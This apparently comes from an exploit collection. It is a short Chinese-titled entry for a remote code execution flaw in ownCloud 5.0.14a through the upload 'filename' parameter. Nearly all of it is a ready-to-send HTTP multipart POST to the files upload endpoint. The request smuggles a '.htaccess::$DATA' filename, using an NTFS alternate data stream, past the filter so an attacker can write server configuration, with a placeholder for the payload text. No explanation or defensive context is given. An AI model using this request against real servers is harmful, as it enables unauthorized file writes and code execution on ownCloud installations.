ownCloud 'filename'参数远程代码执行漏洞

POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1 [...] Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411 Requesttoken: None -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="MAX_FILE_SIZE" 536870912 -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="requesttoken" None -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="dir" / -----------------------------21191376031994875607185408411 Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" Content-Type: text/plain <PUT YOUR TEXT HERE> -----------------------------21191376031994875607185408411--